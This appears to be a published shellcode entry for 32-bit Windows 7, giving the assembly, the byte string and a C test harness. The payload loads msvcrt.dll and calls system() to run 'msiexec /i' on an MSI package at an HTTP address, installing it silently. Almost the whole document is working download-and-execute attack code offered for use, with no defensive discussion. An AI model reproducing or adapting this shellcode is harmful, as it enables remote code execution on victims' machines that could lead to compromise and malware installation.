# Title: Windows - Download and execute using msiexec.exe # Author: Kartik Durg # Shellcode Length: 95 BYTES # Write-up Link: https://iamroot.blog/2019/01/28/windows-shellcode-download-and-execute-payload-using-msiexec/ # Tested on: WIN7x86 --------------------------------------------------------------------------------------------------------------------------- ==> Assembly code: xor eax, eax ;Get the msvcrt.dll mov ax, 0x7472 ;"tr\0\0" push eax push dword 0x6376736d ;"cvsm" push esp ; LoadLibrary mov ebx, 0x7717de85 ;Address of function LoadLibraryA (win7) call ebx mov ebp, eax ;msvcrt.dll is saved in ebp xor eax, eax ;zero out EAX PUSH eax ;NULL at the end of string PUSH 0x6e712f20 ;"nq/ " PUSH 0x69736d2e ;"ism." PUSH 0x736d2f33 ;"sm/3" PUSH 0x2e312e38 ;".1.8" PUSH 0x36312e32 ;"61.2" PUSH 0x39312f2f ;"91//" PUSH 0x3a707474 ;":ptt" PUSH 0x6820692f ;"h i/" PUSH 0x20636578 ;" cex" PUSH 0x6569736d ;"eism" MOV EDI,ESP ;adding a pointer to the stack PUSH EDI MOV EAX,0x7587b177 ;calling the system()(win7) CALL EAX xor eax, eax push eax mov eax, 0x7718be52 ; ExitProcess call eax --------------------------------------------------------------------------------------------------------------------------- ==> Final shellcode: char code[] = "\x31\xc0\x66\xb8\x72\x74\x50\x68\x6d\x73\x76\x63\x54\xbb\x85\xde\x17\x77\xff\xd3\x89\xc5\x31\xc0\x50\x68\x20\x2f\x71\x6e\x68\x2e\x6d\x73\x69\x68\x33\x2f\x6d\x73\x68\x38\x2e\x31\x2e\x68\x32\x2e\x31\x36\x68\x2f\x2f\x31\x39\x68\x74\x74\x70\x3a\x68\x2f\x69\x20\x68\x68\x78\x65\x63\x20\x68\x6d\x73\x69\x65\x89\xe7\x57\xb8\x77\xb1\x87\x75\xff\xd0\x31\xc0\x50\xb8\x52\xbe\x18\x77\xff\xd0"; int main(int argc, char **argv) { int (*func)(); func = (int (*)()) code; (int)(*func)(); } ---------------------------------------------------------------------------------------------------------------------------